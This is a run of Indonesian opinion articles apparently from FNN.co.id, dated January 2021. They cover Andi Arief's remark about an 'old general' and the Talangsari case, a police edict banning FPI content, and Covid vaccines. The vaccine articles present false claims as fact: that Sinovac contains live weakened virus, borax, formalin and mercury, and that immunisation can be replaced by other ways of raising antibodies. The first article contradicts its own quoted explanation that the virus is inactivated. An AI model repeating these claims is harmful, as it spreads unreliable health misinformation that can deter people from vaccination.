Arief menyebutkan: "Ketimbang mendengar pandangan-pandangan yang bisa menyesatkan dari jenderal tua yang sudah terbukti menyesatkan dan melanggar HAM". Namun, Andi Arief tidak gamblang merinci siapa Jenderal Tua yang dimaksudnya itu. Menko Polhukam Mahfud MD diminta Andi Arief untuk lebih berdiskusi dan mendengarkan masukan dari masyarakat sipil (civil society). Khususnya dalam menyikapi peristiwa hukum yang belakangan ramai diperbincangkan publik. Sementara sejumlah warganet memberi komentar beragam tentang siapa sosok "Jenderal Tua" yang juga disebut sebagai pelanggar HAM oleh Andi Arief. "Jendral tua yang menyesatkan??" cetus akun @ad3ira29 yang mengomentari postingan Andi Arief. "Jendral Talangsari," timpal akun @nurkyqo menduga. Selama ini AM Hendropriyono memang banyak dikaitkan dengan kasus Talangsari Lampung. Menurut buku Talangsari 1989, Kesaksian Korban Pelanggaran HAM Lampung, terbitan Lembaga Studi Pers dan Pembangunan, pada 7 Februari 1989, ketika AM Hendropriyono masih berpangkat kolonel dan menjabat Danrem Garuda Hitam Lampung, menyerbu Desa Talangsari. Banyak korban berjatuhan yang jumlahnya mencapai 300 orang. Sampai kini para korban peristiwa Talangsari masih hidup dalam stigma Gerakan Pengacau Keamanan (GPK), Komunitas Antipemerintah atau Islam PKI. Pada tahun 2001, korban pelanggaran HAM Talangsari telah mendesak Komnas HAM untuk segera membentuk KPP HAM. Berdasarkan rekomendasi rapat paripurna tanggal 23 Februari 2001 dibentuk tim penyelidikan berdasarkan UU No. 39 tahun 1999. Tim terdiri dari Enny Suprapto (Kekerasan), Samsudin (Hak hidup), Ruswiyati Suryasaputra (Perempuan) dan Muhamad Farid (anak-anak). Tim mulai bekerja pada Akhir Maret hingga Awal April 2005. Setelah Komnas HAM turun lapangan pada Juni 2005, ditemukan adanya pelanggaran HAM berat. Namun banyak kendala dalam penyelidikan karena fokus para korban banyak yang terpecah belah karena sebagian ada yang melakukan islah dengan Hendropriyono sejak 1999. Mantan jamaah Warsidi yang melakukan islah tersebut menghalangi warga lain yang ingin mencari keadilan lewat pengungkapan kebenaran dan pengadilan HAM. Itulah antara lain kiprah AM Hendropriyono yang kini berusia 75 tàhun. Wallohu a'lam bhisawab. Penulis adalah Wartawan Senior FNN.co.id

Vaksin Sinovac dari Vero Cell: Mengandung Virus Hidup yang Dilemahkan!

By Mochamad Toha Surabaya, FNN - Minggu (03/01). Narasi berupa peringatan beredar luas di WA Group dan media sosial. Entah dari mana dan siapa yang pertama kali menulis dan mengedarkannya. Namun, jika diamati, memang seperti itulah faktanya. Bukan hoax dan bukan pula mengada-ada. Coba perhatikan kemasan Vaksin Sinovac Covid-19 yang akan di suntikkan kepada warga. Jelas bertuliskan “Only for clinical trial” (Hanya untuk uji coba klinis alias untuk kelinci percobaan). Dan perhatikan “Composition and Description” Yaitu berasal dari Vero Cell atau berasal dari jaringan Kera hijau Afrika (Jelas tidak halal), kemudian mengandung Virus hidup yang dilemahkan, dan mengandung bahan dasar berbahaya (Boraks, formaline, aluminium, merkuri, dll). Belum lagi yang tidak tertulis pada kemasan yaitu tidak ada jaminan tidak tertular penyakit setelah di vaksin dan tidak ada jaminan atau kompensasi dari perusahaan Sinovac jika terjadi cedera vaksin atau KIPI pada korban Vaksin. Sumber yang membahas efek samping vaksin Sinovac Covid-19: Hasil keterangan FDA klik https://www.fda.gov/media/143557/download?fbclid=IwAR2U4e-sAyI1FmRSsxwFncalEoEoPVEoLI6y2zFLWL2Y7QtCzpToO41sMwM Hasbunallah wani'mal wakiil. Coba kita simak ulasan Arie Karimah, Pharma-Excellent, Alumni ITB. Bagaimana Vaksin Sinovac merangsang pembentukan antibodi. Vaksin Sinovac dibuat dengan salah satu teknologi yang paling kuno, yang sudah digunakan sejak 100 tahun yang lalu. Yaitu menggunakan virus Covid-19 yang telah “dinonaktifkan” atau “dimatikan”. Berarti benar: mengandung virus hidup yang dilemahkan. Sinovac mengumpulkan sampel cairan tubuh yang mengandung virus dari pasien di China, Inggris, Italia, Spanyol, dan Swiss. Sampel virus dari China sendiri digunakan sebagai dasar vaksin. Dari sini nanti juga bisa menjawab: Mengapa dengan menggunakan teknologi yang sama bisa menghasilkan efikasi vaksin yang berbeda? Mengapa diperlukan uji klinis internasional untuk mengukur efikasi yang lebih baik, karena produknya kelak juga akan dipasarkan ke berbagai negara? Bagaimana cara membunuh virus Covid-19? Para peneliti di Sinovac memiliki kultur virus dalam jumlah besar di sel-sel ginjal monyet, yang mereka pilih sebagai hewan percobaan. Virus tersebut kemudian dibunuh dengan zat kimia beta-propiolactone, yang akan berikatan dengan gen-gen virus. Akibatnya virus tidak bisa lagi melakukan replikasi (membelah diri, beranak-pinak). Namun spike proteinnya yang menonjol di bagian luar virus tetap utuh. Virus tersebut kemudian “diekstraksi” dan dicampur dengan adjuvant, yaitu senyawa berbasis alumunium. Fungsi adjuvant dalam proses vaksinasi adalah untuk merangsang sistem immune tubuh kita merespon terhadap vaksin yang disuntikkan. Karena virusnya sudah mati, maka penyuntikan vaksin tidak akan menyebabkan seseorang terinfeksi virus Covid-19. Setelah berada di dalam tubuh kita virus tersebut akan dimakan (difagositosis) oleh salah satu jenis sel immune yang bernama sel T, yang memiliki bagian yang disebut dengan “antigen-presenting cell”. Antigen-presenting cell ini akan melumatkan virus dan menyisakan sebagian fragmennya di permukaan tubuhnya. Nantinya sel immune yang lain, yaitu Helper T cell akan mengenali fragmen tersebut. Jika fragmen tersebut cocok dengan protein yang ada di permukaan Helper T cell, maka sel-sel T akan diaktifkan, dan mengundang sel-sel immune yang lain untuk merespon terhadap vaksin. Sel immune lainnya yang bernama sel B juga akan menemukan fragmen protein virus. Sel B memiliki protein di permukaan tubuhnya dengan berbagai bentuk, yang beberapa diantaranya mungkin akan cocok untuk berikatan dengan fragmen protein virus Covid-19. Jika sudah berikatan, sel B akan menarik sebagian atau keseluruhan fragmen tersebut ke dalam tubuhnya kemudian mulai memproduksi antibodi yang cocok dengan bentuk permukaan virus. Produksi antibodi setelah vaksinasi ini belum diketahui akan berlangsung selama berapa bulan. Itu sebabnya kelak jika diajukan permohonan izin edar, bukan Emergency Use of Authorization, monitoring titer antibodi dan kemampuan mencegah terinfeksi akan berlangsung selama 2-4 tahun, bukan sekedar 3-6 bulan. Setelah divaksinasi sistem immune akan merespon jika kelak terjadi infeksi oleh virus Covid-19 yang hidup. Sel-sel B akan segera mengenali virus tersebut dan menghasilkan antibodi yang akan berikatan/menetralkan virus melalui spike proteinnya, sehingga virus tidak bisa memasuki sel-sel tubuh kita. Meskipun dalam waktu beberapa bulan tetelah vaksinasi titer antibodi akan berkurang, tapi tubuh kita memiliki memori B cells, yang akan mengingat bentuk virus Covid-19 hingga bertahun-tahun, bahkan berpuluh tahun kemudian. Jika suatu hari kelak virus Covid-19 mencoba menginfeksi, maka sel-sel B akan segera memproduksi antibodinya untuk mencegah infeksi. Vaksin Sinovac Pada Januari 2020: Sinovac mulai mengembangkan vaksin dari virus yang sudah dimatikan. Kemudian pada Juni melakukan uji klinis kombinasi fase 1 dan 2. Volunteers 743 orang. Hasil uji keamanan: tidak ditemukan reaksi yang tidak diharapkan dengan kategori parah. Pada Juli uji klinis fase 3 di Brazil, diikuti dengan Indonesia dan Turki. Pada Oktober pihak berwenang di China bagian timur, Jiaxing, memberikan vaksin tersebut pada kelompok yang berisiko tinggi tertular: tenaga kesehatan, inspektor di pelabuhan dan petugas layanan publik. Tidak disebutkan berapa jumlah orang yang divaksinasi. Pada Oktober 2020 pejabat di Brazil mengatakan bahwa vaksin Sinovac adalah yang paling aman dari 3 vaksin yang sedang diuji klinis fase 3 di sana. Pada 19 November 2020 Sinovac mempublikasikan hasil uji klinis fase 1 dan 2 di jurnal ilmiah Lancet. Hasilnya: produksi antibodi yang dirangsang oleh vaksin hanya memiliki titer sedang saja. Hanya uji klinis fase 3 yang kelak akan membuktikan apakah itu cukup untuk melindungi orang dari tertular Covid-19. Pada 18 November 2020: pemerintah Brazil mengumumkan mereka menghentikan sementara uji klinis fase 3-nya karena adanya reaksi yang tidak diharapkan (katanya paling aman?). Dua hari berikutnya uji dilanjutkan. Tak ada penjelasan tentang apa yang sebenarnya terjadi. Brazil mengatakan sudah mendapat cukup data volunteers yang tertular infeksi, sehingga efikasinya sudah bisa dihitung. Mereka berencana mengumumkan laporannya, 23 Desember 2020. Tapi diundur 15 hari kemudian. Apakah vaksin Pfizer, Moderna atau Sinovac efektif untuk virus strain baru, maka jawaban Arie Karimah adalah: “Sains membutuhkan Bukti Ilmiah untuk mengklaim sesuatu. Kalau ingin tahu efektif atau tidak ya perlu dilakukan dulu uji klinis selama 3-6 bulan”. Tentu para ilmuwan juga melakukan prediksi ini. Tapi anda perlu membaca dulu untuk bisa memahaminya. Tidak bisa jump into conclusion. Pahami dulu apa itu mutasi genetik dan bagaimana vaksin Pfizer, Moderna atau Sinovac dulu dikembangkan sebelum strain baru ini ditemukan. Virus Covid adalah membran berminyak yang berisi instruksi genetik untuk membuat jutaan copy “tubuh”nya sendiri. Instruksi tersebut tertanam dalam bentuk kode di 30.000 “surat” RNA: a, c, g dan u. Saat virus menginfeksi sel tubuh kita, dengan cara spike proteinnya berikatan dengan reseptor ACE-2 (Angiotensin Converting Enzyme), maka virus akan memasukkan materi genetiknya ke dalam sel tubuh kita dan mengambil alih fungsi reproduksi sel yang dilakukan ribosome. Satu sel-sel tubuh kita yang terinfeksi bisa menghasilkan jutaan anak-anak virus, semua itu membawa copies dari original genome, yaitu semua DNA yang terdapat pada virus induknya. Tapi, saat sel tubuh kita memperbanyak genome, kadang-kadang terjadi kesalahan, umumnya hanya 1 dari 30.000 “surat” RNA. “Salah ketik” inilah yang dikenal sebagai Mutasi. “Jadi mutasi adalah perubahan kecil yang bersifat acak pada materi genetik virus, yang terjadi ketika terjadi proses replikasi (reproduksi),” ungkap Arie Karimah. Ketika virus menyebar dari orang ke orang maka mutasi-mutasi itu akan terkumpul secara acak. Berikut contoh genome dari salah seorang pasien di Wuhan yang identik dengan kasus pertama. Perbedaan atau mutasinya hanya terjadi pada surat ke 186, yang tertulis u bukan c. Setelah beberapa bulan menginfeksi dan menyebar, maka sebagian genome virus sudah mengalami berbagai mutasi. Selama pandemik telah terdeteksi lebih dari 4.000 mutasi di area spike protein. Bagian genome yang sudah mengumpulkan banyak mutasi bersifat lebih fleksibel. Mereka dapat mentoleransi perubahan urutan genetik mereka tanpa membahayakan eksistensi virus itu sendiri, sedangkan bagian yang hanya mengalami sedikit mutasi justru lebih rentan. Mutasi pada bagian ini mungkin bisa saja menghancurkan virus, karena menyebabkan perubahan yang membahayakan pada bagian proteinnya. Bagian ini sering dijadikan sebagai target cara kerja obat antivirus. Mutasi genome virus covid sebanyak 10 atau kurang dianggap biasa, dan hanya sedikit virus yang mengalami mutasi lebih dari 20, kurang dari seperseribu dari total genome. Posisi dan banyaknya mutasi yang telah terjadi bisa diketahui dengan cara sequencing genomes. *** Penulis wartawan senior FNN.co.id

Masa Maklumat Kapolri Kalahkan UUD 1945?

Pembaca Portal Berita Online FNN.co.id. yang kami banggakan. Sikap remi Redaksi Portal Berita Online FNN.co.id yang selama ini disampaikan melalui rubrik EDITORIAL, mulai awal Januari 2021 diganti nama rubriknya menjadi “FORUM RAKYAT”. Demikian pemberitahuan kami. Jakarta FNN – Ahad (03/01). Jendral Polisi Idham Aziz, Kepala Kepolisian Republik Indonesia (Kapolri), pada tanggal 1 Januari 2021 Kemarin, mengeluarkan Maklumat. Maklumat Nomor Mak/1/2021 Tentang Kepatuhan Terhadap Larangan Kegiatan, Penggunaan Simbol dan Atribut Serta Penghentian Kegiatan Front Pembela Islam (FPI). Pada angka 1 Maklumat ini dicantumkan kata-kata sebagai berikut “1. Bahwa berdasarkan Keputusan Bersama Menteri Dalam Negeri, Menteri Hukum dan Hak Asasi Manusia RI, Menteri Komunikasi dan Informatika RI, Jaksa Agung RI, Kepala Kepolisian Negara RI dan Kepala Badan Nasional Penanggulangan Terorisme Nomor: 220-4780 Tahun 2020; M.HH 14.HH.05.05 Tahun 2020; 690 Tahun 2020; 264 Tahun 2020;KB/3/XII/2020; 320 Tahun 2020 tanggal 30 Desember 2020 tentang Larangan Kegiatan, Penggunaan Simbol dan Atribut Serta Penghentian Kegiatan Front Pembela Islam”. Kapolri pasti tak menyangka sebelumnya. Bahwa maklumat ini terlihat seperti hantu yang gentayangan disiang bolong. Lalu dengan angkuh, khas setan kurap, hantu itu memasuki dan mengacak-acak meja redaksi, menerkam, menyiksa bahkan membunuh semua jurnalis. Itu alasan utama mengapa komunitas Pers, bahkan Dewan Pers bereaksi sangat sangat keras. Level reaksinya masyarakat pers kali ini, terus terang Pak Kapolri, belum pernah sekalipun terjadi setelah eranya Pak Harto berkuasa. Baru kali ini reaksi keras itu. Orang pers bukan saja tak mau lagi praktik bredel, atau apapun yang mirip dengan bredel itu hidup di era ini. Tetapi lebih dari bredel itu. Orang pers sudah tak mampu lagi diam dan hanya menggerutu melihat kehancuran harkat dan martabat kemanusiaan, hanya untuk alasan yang mengada-ada. Orang pers tak mau lagi melihat dan berurusan dengan rezim khas masa lalu itu hidup kembali di era ini. Ketertiban dan keamanan nasional yang setiap hari dikhotbahkan oleh rezim sekarang, tidak lebih dari dongeng kaum oligarki semata. Presiden Habibie dan Mohamad Yunus Yosfiah. Pak Kapolri tahu mereka berdua? Namanya keduanya begitu harum untuk kehidupan masyarakat pers Indonesia. Presiden Habibie tentu Pak Kapolri tahu, adalah pria paling logis dalam berpikir. Hebat, Pak Habibie menempatkan Pak Yunus, pria berlatar tentara tulen sebagai Menteri Penerangan. Pak Yunus Yosfiah, sang menteri dan tentara paling hebat di Timor-Timur itu, ternyata sama seperti bosnya. Sama-sama logis dalam berpikir. Hasilnya, lahirlah UU Nomor 40 Tahun 1999 tentang Pers. UU ini, kalau Pak Kapolri tahu, bukan sekadar menjadi benteng kehidupanpers. Tetapi merupakan karya kemanusiaan dua pria logis yang mengerti tentang hakikat peradaban yang disumbangkan pers. Tak ada faedahnya itu pers, kalau tak ada kebebasan mencari dan menyebarkan informasi. Tak ada kebebasan mencari dan menyebarkan informasi, kalau tak ada kebebasan untuk berbicara dan menyampaikan pendapat. Apapun pendapat yang disampaikan itu. Tak akan ada juga penyebaran informasi, bila sarana penyebarannya dikangkangi. Tak ada pers, sama dengan tak ada pengawasan terhadap penguasa. Makanya, pers oleh masyarakat demokrasi dan Hak Asasi Manusia (HAM) di muka bumi ini disebut “the four of state democration”. Pers sebagai pilir demokrasi keempat setelah Eksekutiv, Legilativ dan Yudikatif. Sehingga salah satu tugas utama pers adalah mengontrol, mengoreksi dan mengawasi pelaksanaan pembangunan dan semua penyelenggara negara yang digaji dari pajak rakyat. Penguasa yang tak dikontrol oleh pers, sama dengan membiarkan penguasa menjadi tiran dan otoriter. Ketika penguasa menjadi tiran dan otoriter, maka kemanusiaan dan peradaban hancur total. Ketika peradaban hancur total, kemanusiaan kehilangan hakikatnya sebagai manusia. Pak Kapolri pasti tahu pers dan HAM itu penting? Ya sangat penting. Karena dua hal itu yang menjadi alasan utama tiga belas negara bagian tidak mau meratifikasi UUD Amerika Serikat, yang sudah selesai dibuat di Philadelphia Convention 31 Mei 1787. Apa persisnya alasan tiga belas negara bagian itu? UUD yang mau diratifikasi itu tidak memuat atau tidak mengatur ketentuan mengenai pers dan HAM. Itu persisnya alasan utama dilaksanakan amandement pertama UUD Amerika Serikat pada tahun 1791. Empat tahun kemudian. Poin penting dari amandemen pertama UUD Amerika Serikat adalah “Kongres dan Presiden Amerika dilarang membuat rancangan Undang-Undang yang membatasi kebebasan pers”. Masih dalam tataran berfikir untuk membuat rancangan undang-undang saja tidak boleh. Sudah dilarang oleh UUD Amerika. Apalagi sampai menjadi menjadi rancangan undang-undang. Begitulah pentingnya memberikan kebebasan kepada masyarakat pers untuk mengawasi penyelenggara negara. Amendement ini digambarkan Elizabeth Zoller, Profesor of Public Law University Paris II, Visiting Profesor of Law Indiana University Maurer Scholl of Law sebagai “freedom of expression.” Memang amendement ini tidak persis menulis freedom expression. Yang ditulis dalam text itu adalah “freedeom of speech and freedom of press”. Tetapi kedua teks ini tidak punya arti lainnya, apapun itu, selain “freedom of expression”. Wajar rakyat dan pers menyambutnya sebagai mahkota mereka. Pengaturan itu, dalam hakikatnya, menegaskan kedaulatan berada ditangan rakyat. Bukan di tangan pemerintah atau penguasa, apapun jenis kekuasaan itu, Kata Michael Gybson, Asisten Profesor of Law, Oclahoma City University, rakyat America memiliki pendapat yang bersifat postulatif tentang kedaulatan. Ketika kedaulatan, tulisnya, diletakan pada mereka, bukan pada pemerintah, maka mereka terhindar dari tindakan represif pemerintah. Memang sejarah hukum Amerika menceritakan pemerintahan John Adam, Presiden kedua Amerika, membuat Sedition Act 1798, juga Alien Act 1798. Kedua UU menyangkal kebebasan menyampaikan pendapat, yang kebebasan berekspresi, dengan cara menyebarkan tulisan, pamphlet dan karikatur. Tetapi rakyat Amerika segera tahu bahwa kedua UU binasa. Itu benar-benar sangat parsial. UU dijadikan instrument politik kaum federalis, yang dipimp oleh John Adam untuik dua kepentingan. Pertma memastikan dominasi kaum federalis. Kedua untuk memastikan kemenangan John Adam terpilih kembali pada pemilu berikutnya 1801. Menelan korban tidak kurang dari delapan orang. Tetapi UU itu segera menemui akhir yang pahit. Thomas Jefferson dari gabungan Demokrat-Republik memenangkan pemilu presiden. Jefferson tampil menjadi presiden Amerika yang ketiga, segera mencabut UU tersebut. Bahkan orang-orang yang telah dihukum, diberi grasi. Ini sangat top dan berkelas. Begitulah kalau menjadi negarawan. Fortunately, Indonesia punya pasal 28F UUD 1945. Isi selengkapnya “Setiap orang berhak untuk berkomunikasi dan memperoleh informasi untuk mengembangkan pribadi dan sosialnya, serta berhak mencari, memperoleh, memiliki, menyimpan, mengolah, dan menyampaikan informasi dengan menggunakan segala jenis saluran yang tersedia”. Buynyi pasal 26F UUD 1945 sangat jelas dan terang. Tidak butuh ahli bahasa untuk ditafsirkan lagi. Sebab Hanya dalam sistem politik totaliter, tirani, fasis dan otoriter saja, yang menempatkan kemauan penguasa lebih tinggi dari UUD. Pada semua negara demokrasi dan Republik, UUD disepakti untuk dijadikan panduan hukum tertinggi, supreme law of the republic. Terkait Maklumat Kapolri? Inilah soalnya? Apa itu soalnya? Apa Maklumat itu bukan satu bentuk hukum di antara beberapa bentuk hukum yang diatur dalam UU Nomor 12 Tahun 2011 Tentang Pembentukan Peraturan Perundang-Undangan, yang telah diubah dengan UU Nomor 15 Tahun 2019 tentang Perubahan UU Nomor 12 Tahun 2011 Tentang Pembentukan Peraturan Perundangan? Jelas tidak. UU Nomor 30 tahun 2014 tentang Administrasi Pemerintahan pun tidak mengatur Maklumat Kapolri sebagai bentuk hukum formil, atau tindakan pemerintahan yang diberi bentuk sebagai hukum. Sama sekali tidak. Mengapa soal ini harus didiskusikan? Angka 2 huruf d Maklumat ini mengatur agar “masyarakat tidak mengakses, mengunggah, dan menyebarluaskan konten terkait FPI, baik melalui website maupun media sosial. Untuk alasan apapun, pasal ini membatasi hak setiap warga negara yang telah diatur dalam UUD 1945. Inilah masalahnya. Pasal 28J ayat (2) UUD 1945 jelas isinya. Isinya adalah “dalam menjalankan hak dan kebebasannya, setiap orang wajib tunduk kepada pembatasan yang ditetapkan dengan undang-undang dengan maksud semata-mata untuk menjamin pengakuan serta penghormatan atas hak dan kebebasan orang dan untuk memenuhi tuntutan yang adil sesuai dengan pertimbangan moral, nilai-nilai agama, keamanan, dan ketertiban umum dalam satu masyarakat demokratis. Kalau anak-anak mileneal diminta memberi makna atas teks pasal 28J UUD 1945 diatas, mungkin saja mereka akan bilang begini, “pembatasan hak asasi manusia harus dengan undang-undang bro”. Tidak bisa pakai peraturan di luar undang-undag bro. Jadi, jelas Maklumat Kapolri itu bukan hukum. Kalaupun hendak disamakan dengan tindakan pemerintahan, maka yang paling mungkin dianalogikan adalah instruksi, yang sifatnya hanya ke dalam internal. Hanya ditujukan kepada pejabat atau pegawai di lingkungan organisasi pemerintahan itu. Itu bisa diterima akal. Kalau di luar internal, itu bisa ngaco, ngawur dan amburadul tata kelola negara ini. Oleh karena sifatnya instruksi. Sehingga tidak lain merupakan kebijakan tata usaha negara untuk hal dilingkungan organisasi pemerintahan itu, maka isinya tidak boleh menangguhkan hak-hak orang lain atau warga negara di luar institusi ini. Apalagi yang berkaitan dengan hak asasi manusia yang telah secara nyata diatur dalam UUD 1945. Di atas semuanya, protes masyarakat pers itu, harus diakui sangat beralasan secara akal sehat. Juga sa sangat logis dan bermartabat. Protes ini sesuai dengan pasal 28F UUD 1945. Menjadi sangat hebat sekali bila Pak Idham Azis berbesar hati untuk mencabut Maklumt Kapolri tersebut sebelum mengakhiri jabatan sebagai Kapolri dalam beberapa hari ke depan.

Tegas, Peraturan Perundangan Bolehkan Rakyat Tolak Vaksin Covid Bermasalah!

By Mochamad Toha Surabaya, FNN - Minggu (03/01). Diberitakan, tiga Uskup senior Australia mengkritik keras Vaksin Corona/COVID-19 buatan Universitas Oxford, Inggris dan perusahaan farmasi AstraZeneca yang memiliki masalah etis karena terbuat dari sel-sel janin yang sengaja digugurkan. WowKeren Aug 26, 2020 menulis, Universitas Oxford, bersama dengan perusahaan farmasi AstraZeneca tengah mengembangkan vaksin untuk Covid-19. Vaksin tersebut telah dipesan oleh Pemerintah Australia. Sayangnya, vaksin tersebut justru menuai kritikan keras dari 3 orang uskup senior Australia, lantaran memiliki masalah etis karena terbuat dari sel-sel janin yang sengaja digugurkan. Pemerintah Australia sendiri pada Senin (24/8/2020) mengatakan, komunitas keagamaan tak perlu risau, karena tak ada masalah etis terkait vaksin yang sudah dipesan sebanyak 25 juta dosis itu. Vaksin Covid-19 milik AstraZeneca saat ini menjadi kandidat paling siap untuk diproduksi dan jadi rebutan banyak negara. Dalam proses pengembangannya itu mereka menggunakan sel-sel ginjal janin yang sengaja digugurkan. Seperti yang pernah saya tulis sebelumnya, praktik seperti itu sendiri sudah biasa dilakukan dalam dunia medis. Namun, pada Kamis (20/8/2020), Uskup Agung Gereja Anglikan, Glenn Davies; Uskup Agung Sidney (Katolik), Anthony Fisher; dan pemimpin Gereja Ortodoks Yunani Australia, Uskup Makarios Griniezakis menyatakan keberatannya terkait vaksin Covid-19. Mereka mengirim surat kepada PM Australia Scott Morrison. Para uskup itu mengatakan, mereka mendukung adanya vaksin COVID-19, tetapi penggunaan “sel-sel janin sesungguhnya adalah sesuatu yang sangat tidak bermoral.” Terlepas dari polemik para uskup Australia tersebut, apakah rakyat atau warga negara di Indonesia punya hak untuk menolak vaksinasi atau imunisasi, meski Pemerintah sudah mengeluarkan “Surat Perintah” vaksinasi Covid-19? Berhak Menolak Seperti disebutkan di dalam Undang-Undang Praktik Kedokteran Nomor 29 Tahun 2004, Hak dan Kewajiban Pasien Pasal (52), pasien dalam menerima pelayanan pada praktik kedokteran dan kesehatan mempunyai hak: 1. Mendapatkan penjelasan secara lengkap tentang tindakan medis sebagaimana dimaksud pasal 45 ayat (3); 2. Meminta pendapat dokter atau dokter yang lain; 3. Mendapatkan pelayanan sesuai dengan kebutuhan medis; 4. Menolak Tindakan Medis, dan; 5. Mendapatkan isi rekam medis. Pasien bisa menyatakan menolak dilakukannya tindakan Vaksinasi atau Imunisasi padanya dengan alasan: Pertama, UUD 1945 Pasal 29 ayat 2, “Negara menjamin kemerdekaan tiap-tiap penduduk untuk memeluk agamanya masing-masing dan beribadah menurut agamanya dan kepercayaannya itu.” Hal ini terkait status kehalalan vaksin yang sudah diberitahukan oleh MUI bahwa vaksin pada anak belum bersertifikasi halal. Menjalani hidup dan kehidupan adalah pilihan, halal dan haram adalah ketentuan. “La iqraha fiddin”, tidak ada pemaksaan dalam agama apalagi untuk perkara duniawi. Kedua, UUD 1945 pasal 28G ayat 1, “Setiap orang berhak atas perlindungan diri pribadi, keluarga, kehormatan, dan harta benda dibawah kekuasaannya, serta berhak atas rasa aman dan perlindungan dari ancaman ketakutan untuk berbuat atau tidak berbuat sesuatu yang merupakan Hak Asasi.” Jadi, setiap orang berhak mendapatkan rasa aman dan bebas dari ancaman. Ketiga, UUD 1945 Pasal 28I ayat 1-2:(1),“Hak untuk hidup, hak untuk tidak disiksa, hak kemerdekaan pikiran, dan hati nurani, hak beragama, hak untuk tidak diperbudak, hak untuk diakui sebagai pribadi dihadapan hukum, dan hak untuk tidak dituntut atas dasar hukum yang berlaku surut adalah Hak Asasi Manusia yang tidak dapat dikurangi dalam keadaan apapun.” (2), ”Setiap orang berhak bebas dari perlakuan diskriminatif atas dasar apapun dan berhak mendapatkan perlindungan terhadap perlakuan yang bersifat diskriminatif.” Keempat, Pasal 28b ayat 2: “Setiap orang berhak atas kelangsungan hidup, tumbuh dan berkembang, serta berhak atas perlindungan dari kekerasan dan diskriminasi”. Dengan demikian, pasien atau rakyat berhak atas perlindungan dari intimidasi serta diskriminasi karena pilihan untuk tidak memberikan vaksin pada anaknya. Kelima, Permenkes No.290/Menkes/Per/III/2008 dan UU Nomor 29 Tahun 2004 Pasal 45, tentang informed consent, yaitu persetujuan tindakan kedokteran yang diberikan oleh pasien atau keluarga terdekatnya setelah mendapatkan penjelasan secara lengkap mengenai tindakan kedokteran yang akan dilakukan terhadap pasien. Di Indonesia, informed consent secara yuridis formal terdapat pada pernyataan Ikatan Dokter Indonesia (IDI) melalui SK PB-IDI No. 319/PB/A.4/88 Tahun 1988, dipertegas lagi dengan Permenkes No. 585 Tahun 1989 tentang persetujuan tindakan medik/informed consent. Keenam, UU Nomor 35 Tahun 2014 Pasal 3 ayat 1, “Negara, pemerintah, dan pemerintah daerah menjamin perlindungan, pemeliharaan, dan kesejahteraan anak dengan memperhatikan hak dan kewajiban orang tua, wali, atau orang lain yang secara hukum bertanggung jawab terhadap anak.” Ketujuh, UU Nomor 35 Tahun 2014 Pasal 45 ayat 1, “Orang tua dan keluarga bertanggung jawab menjaga kesehatan anak dan merawat sejak dalam kandungan.” Ini bentuk perlindungan rakyat atas status kehalalan dan keamanan vaksin dan perlindungan terhadap Kejadian Ikutan Paska Imunisasi (KIPI), Efek Negatif Vaksin, Vitamin K Sintetis dan sejenisnya. Kedelapan, UU Nomor 33 Tahun 2014 tentang jaminan produk halal, produk halal adalah produk yang telah dinyatakan halal sesuai syariat islam yang masuk, beredar, dan diperdagangkan di wilayah Indonesia wajib bersertifikat halal. Kesembilan, UU Nomor 8 Tahun 1999 tentang perlindungan konsumen yang mengatur barang atau jasa yang bersifat halal. Kesepuluh, UU Nomor 23 Tahun 2002 tentang kewajiban memberikan perlindungan pada anak berdasakan asas-asas non diskriminasi, kepentingan terbaik bagi anak, hak hidup dan kelangsungan hidup, dan penghargaan terhadap pendapat anak. Kesebelas, UU Nomor 12 Tahun 2005 tentang pengesahan konvenan internasional tentang hak-hak sipil dan politik. Hak-hak sipil meliputi hak hidup; hak bebas dari siksaan, penghukuman yang kejam, tidak manusiawi, atau merendahkan martabat; hak atas praduga tak bersalah; hak kebebasan berpikir; hak berkeyakinan dan beragama; hak untuk mempunyai pendapat tanpa campur tangan orang lain; hak perlindungan anak; hak atas perlindungan hukum yang sama tanpa adanya diskriminasi. Keduabelas, UU Nomor 14 Tahun 2008 tentang Keterbukaan Informasi Publik. Mengenai status kehalalan vaksin yang ternyata belakangan dibantah oleh MUI dan Halal Watch. Mengenai kasus-kasus kejadian KIPI yang diinformasikan di media-media massa maupun media sosial dan penjelasan mengenai wabah. Ketigabelas, UU Nomor 4 Tahun 1984 tentang Wabah Penyakit Menular, penjelasan pasal 5 ayat 1: bahwa upaya penanggulangan wabah haruslah dilakukan dengan mempertimbangkan keadaan masyarakat setempat, antara lain: agama. Status halal haram itu dalam agama Islam adalah hal yang essensial; Pasal 6: bahwasannya keikutsertaan masyarakat dalam penanggulangan wabah tidak mengandung paksaan. Keempatbelas, UU Kesehatan Nomor 36 Tahun 2009 pasal 5 ayat 2 dan 3, hak memperoleh pelayanan kesehatan yang aman dan hak menentukan sendiri pelayanan kesehatan yang diperlukan baginya. Pasal 7, tentang mendapatkan informasi dan edukasi yang seimbang dan bertanggung jawab. Pasal 8, berhak mendapatkan informasi tentang data kesehatan dirinya, termasuk tindakan yang telah dan akan diterima dari tenaga kesehatan. Kelimabelas, Permenkes Nomor 12 Tahun 2017, pasal 26 ayat 2 poin b, pengecualian penyelenggaraan imunisasi program bagi orang tua/wali yang menolak menggunakan vaksin yang disediakan pemerintah. Keenambelas, Fatwa MUI Nomor 4 Tahun 2016, ketentuan hukum, bahwa hukum imunisasi adalah mubah, kewajiban menggunakan vaksin yang halal dan suci. Sedangkan alasan darurat yang disyaratkan harus dengan fatwa ulama atau ahli terkait, Bukan Fatwa Dokter! Kewajiban pemerintah menyediakan vaksin halal dan melakukan sertifikasi halal kepada produsen vaksin sesuai dengan peraturaan perundang-undangan. Orang tua memang wajib memberikan dukungan pada program pemerintah, tapi pelaksanaan imunisasi itu tidak wajib, karena penceghan terhadap penyakit akibat virus atau bakteri bisa dilakukan dengan cara lain yaitu dengan meningkatkan antibodi. Terkait program vaksinasi untuk masyarakat yang mau menerimanya tersebut, maka kewajiban pemerintah untuk menjamin penyediaan vaksin yang Halal adalah “Mutlak”. Mereka wajib menyertakan alasan dan landasan hukum atas tindakan yang dipilih. Karena menolak, rakyat berhak pula menolak bentuk “Intimidasi” dan “Diskriminasi” serta menolak tindakan pemberian vaksin pada anaknya di luar sepengetahuannya. Dan, bila tetap dilakukan, maka rakyat bisa mengajukan Tuntutan Hukum baik terjadi Kejadian Ikutan Paska Imunisasi (KIPI) dalam jangka pendek ataupun panjang, ataupun tidak. Serta jika terjadi KIPI pada anak mereka, maka semua pihak yang terkait harus membiayai seluruh terapi dan pengobatan saat dan pasca KIPI Seumur Hidup 